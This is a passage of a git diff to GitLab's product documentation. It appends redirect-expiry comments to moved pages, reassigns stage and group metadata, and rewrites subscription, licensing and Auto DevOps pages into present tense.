https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> operations/incident_management/generic_alerts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> operations/moving_repositories.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> operations/unicorn.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> raketasks/check.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> raketasks/maintenance.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> api/deploy_key_multiple_projects.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> api/license_templates.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> api/build_triggers.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> api/builds.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> gitlab-basics/add-merge-request.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> gitlab-basics/basic-git-commands.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> gitlab-basics/create-issue.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> gitlab-basics/add-image.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> gitlab-basics/create-group.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/npm_registry.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/operations.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/container_registry.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/auth/ldap-ee.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/auth/how_to_configure_ldap_gitlab_ee/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/auth/google_secure_ldap.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/auth/ldap-troubleshooting.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/auth/ldap.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/auth/how_to_configure_ldap_gitlab_ce/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/geo/replication/high_availability.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/geo/replication/external_database.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/geo/replication/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/geo/replication/database.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/geo/disaster_recovery/promotion_runbook.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/build_artifacts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/operations/speed_up_ssh.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/custom_hooks.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/scaling/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/maven_packages.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/plugins.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/availability/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/lfs/migrate_from_git_annex_to_git_lfs.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/lfs/lfs_administration.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/lfs/manage_large_binaries_with_git_lfs.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/job_traces.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/maven_repository.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/packages.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/repository_storages.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/monitoring/gitlab_instance_administration_project/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/monitoring/prometheus/gitlab_monitor_exporter.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/monitoring/performance/prometheus.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/monitoring/performance/introduction.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> administration/dependency_proxy.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> telemetry/snowplow.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> telemetry/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> monitoring/health_check.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> monitoring/performance/grafana_configuration.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> monitoring/performance/introduction.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> monitoring/performance/gitlab_configuration.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> topics/autodevops/upgrading_chart.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> topics/git/migrate_to_git_lfs/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> analytics/README.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> analytics/contribution_analytics.md diff --git a/doc/security/password_length_limits.md b/doc/security/password_length_limits.md index b8d329ab342..5c69ce815d6 100644 --- a/doc/security/password_length_limits.md +++ b/doc/security/password_length_limits.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: reference, howto --- diff --git a/doc/security/passwords_for_integrated_authentication_methods.md b/doc/security/passwords_for_integrated_authentication_methods.md index 4872f26a0ad..96b33af4428 100644 --- a/doc/security/passwords_for_integrated_authentication_methods.md +++ b/doc/security/passwords_for_integrated_authentication_methods.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: reference --- diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md index 66e11587e96..ffcf9727403 100644 --- a/doc/security/reset_user_password.md +++ b/doc/security/reset_user_password.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: howto --- diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index a03c8e758de..2a35898b5fd 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: fulfillment +group: fulfillment info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: index, reference --- @@ -11,7 +11,7 @@ GitLab.com is GitLab Inc.'s software-as-a-service offering. You don't need to install anything to use GitLab.com, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. -In this page we'll go through the details of your GitLab.com subscription. +This page reviews the details of your GitLab.com subscription. ## Choose a GitLab.com group or personal subscription @@ -20,10 +20,10 @@ On GitLab.com you can apply a subscription to either a group or a personal names When applied to: - A **group**, the group, all subgroups, and all projects under the selected - group on GitLab.com will have the features of the associated tier. GitLab recommends + group on GitLab.com contains the features of the associated tier. GitLab recommends choosing a group plan when managing an organization's projects and users. -- A **personal userspace**, all projects will have features with the - subscription applied, but as it's not a group, group features won't be available. +- A **personal userspace**, all projects contain features with the + subscription applied, but as it's not a group, group features aren't available. ## Choose a GitLab.com tier @@ -64,7 +64,7 @@ To subscribe to GitLab.com: [Customers Portal](https://customers.gitlab.com/). 1. Link your GitLab.com account with your Customers Portal account. Once a plan has been selected, if your account is not - already linked, you will be prompted to link your account with a + already linked, GitLab prompts you to link your account with a **Sign in to GitLab.com** button. 1. Select the namespace from the drop-down list to associate the subscription. 1. Proceed to checkout. @@ -81,7 +81,7 @@ To subscribe to GitLab.com: [Customers Portal](https://customers.gitlab.com/). 1. Link your GitLab.com account with your Customers Portal account. Once a plan has been selected, if your account is not - already linked, you will be prompted to link your account with a + already linked, GitLab prompts you to link your account with a **Sign in to GitLab.com** button. 1. Select the namespace from the drop-down list to associate the subscription. 1. Proceed to checkout. @@ -109,9 +109,9 @@ to the **Billing** section of the relevant namespace: | **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. | | **Seats currently in use** | Number of active seats currently in use. | | **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. | - | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. | + | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you owe an additional fee for the users you've added. | | **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. | - | **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. | + | **Subscription end date** | Date your current subscription ends. Does not apply to Free plans. | ## Renew your GitLab.com subscription @@ -136,8 +136,8 @@ the contact person who manages your subscription. It's important to regularly review your user accounts, because: -- A GitLab subscription is based on the number of users. You will pay more than - you should if you renew for too many users, while the renewal will fail if you +- A GitLab subscription is based on the number of users. You could pay more than + you should if you renew for too many users, while the renewal fails if you attempt to renew a subscription for too few users. - Stale user accounts can be a security risk. A regular review helps reduce this risk. @@ -172,8 +172,8 @@ previous period), log in to the [Customers Portal](https://customers.gitlab.com/ - If you see **Cancel subscription**, your subscription is set to automatically renew at the end of the subscription period. Click it to cancel automatic renewal. -With automatic renewal enabled, the subscription will automatically renew on the -expiration date and there will be no gap in available service. An invoice will be +With automatic renewal enabled, the subscription automatically renews on the +expiration date without a gap in available service. An invoice is generated for the renewal and available for viewing or download in the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our @@ -193,10 +193,10 @@ To add users to a subscription: 1. Enter the number of additional users. 1. Select **Proceed to checkout**. 1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the - system and a credit for what you've already paid. You will only be charged for the net change. + system and a credit for what you've already paid. You are only be charged for the net change. 1. Select **Confirm Upgrade**. -The following will be emailed to you: +The following is emailed to you: - A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). @@ -222,7 +222,7 @@ it may become inaccessible, depending on the tier at expiry. Some features may n behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). -If you renew or upgrade, your data will again be accessible. +If you renew or upgrade, your data is accessible again. ## CI pipeline minutes @@ -258,7 +258,7 @@ Your own runners can still be used even if you reach your limits. ### Purchase additional CI minutes If you're using GitLab.com, you can purchase additional CI minutes so your -pipelines won't be blocked after you have used all your CI minutes from your +pipelines aren't blocked after you have used all your CI minutes from your main quota. You can find pricing for additional CI/CD minutes in the [GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes: @@ -268,9 +268,9 @@ main quota. You can find pricing for additional CI/CD minutes in the To purchase additional minutes for your group on GitLab.com: 1. From your group, go to **Settings > Usage Quotas**. -1. Select **Buy additional minutes** and you will be directed to the Customers Portal. +1. Select **Buy additional minutes** and GitLab directs you to the Customers Portal. 1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. -1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace. +1. Once we have processed your payment, the extra CI minutes are synced to your group namespace. 1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**. The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. @@ -278,8 +278,8 @@ To purchase additional minutes for your group on GitLab.com: To purchase additional minutes for your personal namespace: 1. Click your avatar, then go to **Settings > Usage Quotas**. -1. Select **Buy additional minutes** and you will be directed to the Customers Portal. -1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace. +1. Select **Buy additional minutes** and GitLab redirects you to the Customers Portal. +1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes are synced to your personal namespace. 1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**. The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. @@ -287,7 +287,7 @@ To purchase additional minutes for your personal namespace: Be aware that: - If you have purchased extra CI minutes before the purchase of a paid plan, - we will calculate a pro-rated charge for your paid plan. That means you may + we calculate a pro-rated charge for your paid plan. That means you may be charged for less than one year since your subscription was previously created with the extra CI minutes. - Once the extra CI minutes have been assigned to a Group, they can't be transferred diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index df71c6bcf31..e476618dc1b 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -152,7 +152,7 @@ With a linked GitLab.com account: 1. Select the desired group from the **This subscription is for** dropdown. 1. Click **Proceed to checkout**. -Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, you will be charged for the additional users. +Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users. ### Change customer portal account password diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index a63c2830909..64787b20772 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -116,8 +116,8 @@ the contact person who manages your subscription. It's important to regularly review your user accounts, because: -- A GitLab subscription is based on the number of users. You will pay more than - you should if you renew for too many users, while the renewal will fail if you +- A GitLab subscription is based on the number of users. You pay more than + you should if you renew for too many users, while the renewal fail if you attempt to renew a subscription for too few users. - Stale user accounts can be a security risk. A regular review helps reduce this risk. @@ -140,10 +140,10 @@ To add users to a subscription: 1. Select **Add more seats** on the relevant subscription card. 1. Enter the number of additional users. 1. Select **Proceed to checkout**. -1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change. +1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You are only be charged for the net change. 1. Select **Confirm Upgrade**. -The following will be emailed to you: +The following items are emailed to you: - A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). - A new license. [Upload this license](../../user/admin_area/license.md#uploading-your-license) to your instance to use it. @@ -161,26 +161,26 @@ We recommend following these steps during renewal: TIP: **Tip:** If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. -1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal. +1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal. 1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. TIP: **Tip:** - You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`. + You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or navigating to `/admin`. The following table describes details of your admin dashboard and renewal terms: | Field | Description | |:------|:------------| | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. | - | Active users | The daily count of active users on your system. | - | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. | - | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. | + | Billable users | The daily count of billable users on your system. | + | Maximum users | The highest number of billable users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. | + | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users are incurred at the next renewal. | 1. Review your renewal details and complete the payment process. -1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. +1. A license for the renewal term is available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. 1. [Upload](../../user/admin_area/license.md#uploading-your-license) your new license to your instance. -An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. +An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. ### Seat Link @@ -195,9 +195,9 @@ Seat Link provides **only** the following information to GitLab: - Date - License key - Historical maximum user count -- Active users count +- Billable users count -For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data. +For offline or closed network customers, the existing [true-up model](#users-over-license) is used. Prorated charges are not possible without user count data. <details> <summary>Click here to view example content of a Seat Link POST request.</summary> @@ -306,14 +306,14 @@ When your subscription or trial expires, GitLab does not delete your data, but i may become inaccessible, depending on the tier at expiry. Some features may not behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). -If you renew or upgrade, your data will again be accessible. +If you renew or upgrade, your data is again accessible. For self-managed customers, there is a 14-day grace period when your features -will continue to work as-is, after which the entire instance will become read +continue to work as-is, after which the entire instance becomes read only. -However, if you remove the license, you will immediately revert to Core -features, and the instance will be read / write again. +However, if you remove the license, you immediately revert to Core +features, and the instance become read / write again. ## Customers portal diff --git a/doc/telemetry/index.md b/doc/telemetry/index.md index 4583dbe4753..57740672fb4 100644 --- a/doc/telemetry/index.md +++ b/doc/telemetry/index.md @@ -3,3 +3,6 @@ redirect_to: '../development/product_analytics/index.md' --- This document was moved to [another location](../development/product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/telemetry/snowplow.md b/doc/telemetry/snowplow.md index 643893bcc22..ac157a8e639 100644 --- a/doc/telemetry/snowplow.md +++ b/doc/telemetry/snowplow.md @@ -3,3 +3,6 @@ redirect_to: '../development/product_analytics/snowplow.md' --- This document was moved to [another location](../development/product_analytics/snowplow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/application_development_platform/index.md b/doc/topics/application_development_platform/index.md index c38b067f1f3..9882904a371 100644 --- a/doc/topics/application_development_platform/index.md +++ b/doc/topics/application_development_platform/index.md @@ -35,12 +35,12 @@ of newer, more efficient, more profitable, and less error-prone techniques for s Because at GitLab we are [cloud-native first](https://about.gitlab.com/handbook/product/#cloud-native-first) our Application Development Platform initially focuses on providing robust support for Kubernetes, with other platforms -to follow. Teams can bring their own clusters and we will additionally make it easy to create new infrastructure +to follow. Teams can bring their own clusters and we additionally make it easy to create new infrastructure with various cloud providers. ### Build, test, deploy -In order to provide modern DevOps workflows, our Application Development Platform will rely on +In order to provide modern DevOps workflows, our Application Development Platform relies on [Auto DevOps](../autodevops/index.md) to provide those workflows. Auto DevOps works with any Kubernetes cluster; you're not limited to running on GitLab's infrastructure. Additionally, Auto DevOps offers an incremental consumption path. Because it is [composable](../autodevops/customize.md#using-components-of-auto-devops), diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 8a876e07791..e00b529ca46 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index 95b6241583f..d1733789856 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -38,7 +38,7 @@ For example: ### Multiple buildpacks Using multiple buildpacks is not fully supported by Auto DevOps, because Auto Test -won't work when using the `.buildpacks` file. The buildpack +can't use the `.buildpacks` file. The buildpack [heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/), used in the backend to parse the `.buildpacks` file, does not provide the necessary commands `bin/test-compile` and `bin/test`. @@ -133,7 +133,7 @@ You can override the Helm chart used by bundling up a chart into your project repository or by specifying a project variable: - **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml` - file in it, Auto DevOps will detect the chart and use it instead of the + file in it, Auto DevOps detects the chart and uses it instead of the [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling you to control exactly how your application is deployed. - **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables) @@ -143,7 +143,7 @@ repository or by specifying a project variable: ## Customize values for Helm Chart -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` will be used by default for Helm upgrades. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` is used by default for Helm upgrades. You can override the default values in the `values.yaml` file in the [default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either: @@ -190,7 +190,7 @@ include: - template: Auto-DevOps.gitlab-ci.yml ``` -Add your changes, and your additions will be merged with the +Add your changes, and your additions are merged with the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) using the behavior described for [`include`](../../ci/yaml/README.md#include). @@ -243,9 +243,9 @@ include: See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs. -CAUTION: **Deprecation:** +DANGER: **Deprecated:** Auto DevOps templates using the [`only`](../../ci/yaml/README.md#onlyexcept-basic) or -[`except`](../../ci/yaml/README.md#onlyexcept-basic) syntax will switch +[`except`](../../ci/yaml/README.md#onlyexcept-basic) syntax have switched to the [`rules`](../../ci/yaml/README.md#rules) syntax, starting in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336). If your `.gitlab-ci.yml` extends these Auto DevOps templates and override the `only` or @@ -295,12 +295,12 @@ You must define environment-scoped variables for `POSTGRES_ENABLED` and 1. Disable the built-in PostgreSQL installation for the required environments using scoped [environment variables](../../ci/environments/index.md#scoping-environments-with-specs). - For this use case, it's likely that only `production` will need to be added to this + For this use case, it's likely that only `production` must be added to this list. The built-in PostgreSQL setup for Review Apps and staging is sufficient.  -1. Define the `DATABASE_URL` CI variable as a scoped environment variable that will be +1. Define the `DATABASE_URL` CI variable as a scoped environment variable that is available to your application. This should be a URL in the following format: ```yaml @@ -328,14 +328,14 @@ applications. | `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | When set to a non-empty value and no `Dockerfile` is present, Auto Build builds your application using Cloud Native Buildpacks instead of Herokuish. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | -| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes won't prevent word splitting. [More details](#passing-arguments-to-docker-build). | +| 